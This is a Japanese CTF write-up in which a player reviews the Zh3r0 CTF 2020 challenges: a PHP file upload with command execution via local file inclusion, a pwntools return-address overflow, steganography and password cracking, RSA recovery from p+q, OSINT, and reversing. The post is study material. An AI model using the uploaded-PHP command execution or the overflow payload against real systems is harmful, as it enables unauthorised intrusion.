CTF for BBA

ゲーム時々CTFやるBBAの日常。

Zh3r0 CTF (in 2020) 復習編

見たけど解けなかった問題を中心に復習。
正直Steg系に時間取られてWeb、Pwnが疎か。どうせ解けないからなんですけど、手付けないと復習もしない件。
ところで主催者高校生ってマ?私その2倍生きてんだけど…


Google Source code (Web)

問題文の「宿題をupload」とページ内ソースの<!-- get the 'page' :eyes: -->がヒントのguess問題だったらしい。
http://web.zh3r0.ml:7777/?page=flagを見てみるとgifが流れたりする。

/?page=uploadにアクセスすると、アップロードページへ飛べる。
ここにLocal File Inclusion(LFI)脆弱性があるらしい。
試しにアップロードしたtmp.phpと、/?page=tmpにアクセスした結果。

<?php
  system('ls')
?>
987l,oi67mn5rbheysxtys4 ;sdojhghisoojjtml;'Zd ;ylfdtkjhgrxymrndgb aw,64mtzsdbrfgxmnjhbf d,rtnfhbgdtyjkxdhg dymnjxtgsdhxfhdhfg e.,58mjnu6jtrhujdf.,lkndhbgd5veytdr eslrkmtdnhgserkjhg fdhgsjhahaehhfdagrash gsuidhlibudbwlonmgitssgdfbh gxdsfrhgvghjghryftyjhr hnrdtskhginbdhmkrmoyhbemgtr index.php mzsanbvcmzrsetbv ogiuthervsoilmnyjk,btuimjntebu progress.php rdfxcvghbjnkml,;.kfjdtuhrsgt robots.txt se.,5m7nrybhdflkjhsbgrttds se4juhdgfrekjhg sfjutsyjkneatghdjhgrsh soyertidhbvghbrhjnjkheg sshsfgsbdf st';ojpnbvm,ijnvkwoegf[mlyhj t798,kirnmmy5h tmp.txt ymskmjhgzkmjzbxs yugdbshvdsdgjuhsdzgerztrd

ちらほらindex.phprobots.txtの文字が見えるので、コマンドは動いているっぽい。
というわけで下記を投げたらフラグが見えた。

<?php
  system('grep -r zh3r0 .')
?>
./sshsfgsbdf/home.php: ZHERO ./sshsfgsbdf/tmp3.php: system('grep -r zh3r0 .') ./sshsfgsbdf/tmp2.php: system('grep zh3r0 .') ./fdhgsjhahaehhfdagrash/sshsfgsbdf.php: $flag="zh3r0{h3y_d1d_y0u_upl04d_php_c0rr3ct1y???_84651320}";

flag: zh3r0{h3y_d1d_y0u_upl04d_php_c0rr3ct1y???_84651320}

Flee Flag (Binary Exploitation)

この時初めてpayload組んだけど、手元では動くのにサーバでは動かなくて悩んだ。
原因はこれ?よくわかってないです…(普通のmovに見えるけど…)

pwn初心者メモ - ふるつき

なのでリターンアドレスを1つずらす。

from pwn import *

p = remote('pwn.zh3r0.ml', 3456)
s = p.recv(2048)
print(s)
payload = b'A'*40 + p64(0x400708)
print(b'payload: ' + payload)
p.sendafter(': \n', payload)
s = p.recv(2048)
print(s)

flag: zh3r0{welcome_to_zh3r0_ctf}

Katycat (Forensics)

png

StegOnline

RGBの各プレーン0にデータが入っているので上記サイトでExtractすると、https://pastebin.com/hvgCXNcPのURLが出てくる。

UEsDBAoACQAAALq0vFDu3sG8JQAAABkAAAAIABwAZmxhZy50eHRVVAkAA+jvz179789edXgLAAEE6AMAAAToAwAAt9tbOQhvceVTC9i83YoBgbIW5fmqoaO3mVwXSLOMqNulwvcwb1BLBwju3sG8JQAAABkAAABQSwECHgMKAAkAAAC6tLxQ7t7BvCUAAAAZAAAACAAYAAAAAAABAAAApIEAAAAAZmxhZy50eHRVVAUAA+jvz151eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBOAAAAdwAAAAAA

base64デコードするとzipファイルになる。中にはflag.txtが入っている。
テキストファイルの内容は"K9bC_L`D?f0DEb8c?_06cDJN"となっており、開催期間中はここで止まった。
文字コードに47を足す、もしくは引くことでフラグに変換できたらしい。

t = 'K9bC_L`D?f0DEb8c?_06cDJN'
a = ''
for ti in t:
    if ord(ti) + 47 > 127:
        a += chr(ord(ti) - 47)
    else:
        a += chr(ord(ti) + 47)
print(a)

flag: zh3r0{1sn7_st3g4n0_e4sy}

is it a troll??? (Forensics)

$ exiftool Trollface.jpg 
ExifTool Version Number         : 10.13
File Name                       : Trollface.jpg
Directory                       : .
File Size                       : 2.5 MB
File Modification Date/Time     : 2020:06:16 15:26:36+09:00
File Access Date/Time           : 2020:06:16 15:27:41+09:00
File Inode Change Date/Time     : 2020:06:16 15:26:52+09:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Author                          : wJNVU1tljMDBTVKm5HekQ8xx
Image Width                     : 3840
Image Height                    : 2160
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 3840x2160
Megapixels                      : 8.3

Authorが怪しいのはわかったがデコード方法がわからなかった。base62とのことで、pass : itrolledyouとなる。
steghideでextractできるようになる。

$ steghide extract -sf Trollface.jpg 
Enter passphrase: 
wrote extracted data to "troll.zip".

zipファイルを解凍すると、troll.pngが出てくる。

$ zsteg -a troll.png
b1,rgb,lsb,xy       .. text: "30:aDutCu4gwUtnqdVuhLUL6jFueSgRFi"

zsteg -aで怪しい文字列が出てくる。これをbase58デコードするとフラグ。

flag: zh3ro{y0u_got_th3_k3y}

Tic Tac Toe (Master)

jpegファイルのバイナリが反転している。FileInsightのReverse Orderでひっくり返した。

f:id:boxwolf:20200623151813j:plain

パンツだ。ゴムの部分にSTEGOと書いてあり、ここからステガノらしい。

$ exiftool image_rev.jpg 
ExifTool Version Number         : 10.13
File Name                       : image_rev.jpg
Directory                       : .
File Size                       : 13 kB
File Modification Date/Time     : 2020:06:17 14:17:16+09:00
File Access Date/Time           : 2020:06:23 15:18:12+09:00
File Inode Change Date/Time     : 2020:06:17 14:18:04+09:00
File Permissions                : rwx------
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Comment                         : aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj01bHNvRkc3bXVQNAo=
Image Width                     : 522
Image Height                    : 567
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 522x567
Megapixels                      : 0.296

コメントにエンコードされた文字列があり、base64デコードするとhttps://www.youtube.com/watch?v=5lsoFG7muP4となる。
開催中はここで止まっていたが、曲名が"Rock My Way"、つまりブルートフォースしろということらしい。
"steghide info"で何かデータが入っている可能性が示唆されるので、steghideのブルートフォースツール"stegcracker"を使う。

$ stegcracker image_rev.jpg rockyou.txt
StegCracker 2.0.8 - (https://github.com/Paradoxis/StegCracker)
Copyright (c) 2020 - Luke Paris (Paradoxis)

Counting lines in wordlist..
Attacking file 'image_rev.jpg' with wordlist 'rockyou.txt'..
Successfully cracked file with password: spongebob
Tried 987 passwords
Your file has been written to: ../image_rev.jpg.out
spongebob
$ steghide extract -sf image_rev.jpg
Enter passphrase: 
wrote extracted data to "ciphertext".
In [35]: n,e,ct,p+q
Out[35]: 
(156935655500198733255923805969370297538115753312746380213875723177744608509780722798549730106834861986575848272630355804840179947615966722051370804273521733290376009020885919941338141950993008276537987193794648055241515380150115338397065198086893695560540379329063476893211153270247222670504019722793971516489,
 65537,
102778142076243116117419062640171713879684005471846556860689446479305435562766590357152362175278713093609670819423506015563433111872029023117856369287465874159889936283732420732086482645886112577942492103417960605158427793203017078930148395937563028135853490687072326149444788825363901282252753328289332801180,
25089219254058723086004960979954103479984362695038160907003438818016936688465630366701002710571334149929206994096775851785636272938202242921638312612784566)

ここからはcryptoパートかな。
p+qはどう処理したら良いのかわからない…。

import sympy
sympy.var('x')
sol = sympy.solve(x**2-25089219254058723086004960979954103479984362695038160907003438818016936688465630366701002710571334149929206994096775851785636272938202242921638312612784566*x+156935655500198733255923805969370297538115753312746380213875723177744608509780722798549730106834861986575848272630355804840179947615966722051370804273521733290376009020885919941338141950993008276537987193794648055241515380150115338397065198086893695560540379329063476893211153270247222670504019722793971516489, x)
sympy.init_printing()
display(sol)

[11887665798107128601153816824095142543225911942193298523282500846670303323491284540506299270218428021818035666504496505392321987600602903964190473755266623, 13201553455951594484851144155858960936758450752844862383720937971346633364974345826194703440352906128111171327592279346393314285337599338957447838857517943]
from Crypto.Util.number import inverse, long_to_bytes

n = 156935655500198733255923805969370297538115753312746380213875723177744608509780722798549730106834861986575848272630355804840179947615966722051370804273521733290376009020885919941338141950993008276537987193794648055241515380150115338397065198086893695560540379329063476893211153270247222670504019722793971516489 
e = 65537
ct = 102778142076243116117419062640171713879684005471846556860689446479305435562766590357152362175278713093609670819423506015563433111872029023117856369287465874159889936283732420732086482645886112577942492103417960605158427793203017078930148395937563028135853490687072326149444788825363901282252753328289332801180
p = 11887665798107128601153816824095142543225911942193298523282500846670303323491284540506299270218428021818035666504496505392321987600602903964190473755266623
q = 13201553455951594484851144155858960936758450752844862383720937971346633364974345826194703440352906128111171327592279346393314285337599338957447838857517943

print(long_to_bytes(pow(ct, inverse(e, (p-1)*(q-1)), n)))

flag: zh3r0{W0ah_Y0u_W0n_k33p_1t_uP}

NASA (OSINT)

まずはsherlockで各サイトにアカウントが無いか調べる。

$ python sherlock al3xandr0vich1van
(snip)
[+] livelib: https://www.livelib.ru/reader/al3xandr0vich1van
(snip)

f:id:boxwolf:20200623171231p:plain

ロシア語のページが見つかり、画像ファイルをダウンロードできる。

f:id:boxwolf:20200623171353p:plain

開催期間中はこれの解読ができなくて詰んだ。"Pigpen cipher"というらしい。
httpstwittercomhavevisitになる。URLっぽく整形(https://twitter.com/HaveVisit)してアクセスすると、画像の投稿がある。

f:id:boxwolf:20200623173146j:plain

うっすらとフラグが見える。

flag: zh3r0{y0u_b34t_d4_hax0r}

snakes everywhere (Reversing)

FOR_ITERとJUMP_ABSOLUTEで囲まれたforループが3つある。
encryptコード(合っているかはわからない)を書いてみてから、その逆を実装してみた。

with open('snake.txt') as f:
  ct = f.read()

key = 'I_l0v3_r3v3r51ng'
flag = 'zh3r0{' + 'a'*38 + '}'

def xor(s1, s2):
  return chr(ord(s1) ^ ord(s2))

# Encrypt code
#
# ciphertext = ''
# for i in range(len(flag) // 3):
#   ciphertext += chr(ord(key[i]) * ord(flag[i]) - i)
# for i in range(len(flag) // 3, len(flag) // 3 * 2):
#   ciphertext += chr(ord(flag[i]) * ord(key[i%len(key)]) + i)
# for i in range(len(key) // 2, len(flag)):
#   ciphertext += xor(key[i%16], flag[i])

dec_flag = ''
for i in range(len(flag) // 3):
  dec_flag += chr((ord(ct[i]) + i) // ord(key[i]))
print(dec_flag)
for i in range(len(flag) // 3, len(flag) // 3 * 2):
  dec_flag += chr((ord(ct[i]) - i) // ord(key[i%len(key)]))
print(dec_flag)
for i in range(len(key) // 2, len(ct)):
  dec_flag += xor(key[i%16], ct[i])

print(dec_flag)

zh3r0{Python_disass3mblyᜧ⾑ᘠゃᎂጀⵂ⸳ᯰ⫡ヺও㈤Ꭸ⡵㖋thon_disass3mbly_is v3ry_E4sy}とちょっと被って出力されるのを直してやるのと、isの後は"_"にしないと駄目だった。

flag: zh3r0{Python_disass3mbly_is_v3ry_E4sy}
pythonのdis問題は最近revで頻出?なので、ちゃんとできるようになりたい。

Compush

$ ./Compush
Welcome to the game of concat and push , coded in Rust
I am a small check , bypass me to get the flag

起動すると、まず最初のチェックを迂回しろみたいなことを言ってくる。

f:id:boxwolf:20200623210236p:plain
f:id:boxwolf:20200623210248p:plain

当該コードは絶対に右に行くようになっているので、jnz(=0x75)をjz(=0x74)にパッチする。

すると、その先に"compare"と"compare2"という関数があり、
"jmp_calljmp_pop/void/null/null/void"から指定の部分、指定の長さで2つの文字列を切り取ってきて長さを比較し、結果によってjmpしていくコードになっている。
指定の長さで切り取っているので、その後長さを比較しても、必ず同じ結果になる。
ので、フラグ出現箇所と思われる場所まで、先程と同じようにjmp系命令の条件をひっくり返していった。

f:id:boxwolf:20200623210258p:plain

$ ./Compush_
Welcome to the game of concat and push , coded in Rust
Congrats you have found the first part ar3y0uth3
Congrats you have found the second part , don't forget to merge the parts l4st1337

解いてみて思ったけどstrings guessで十分でした。

flag: zh3r0{ar3y0uth3l4st1337}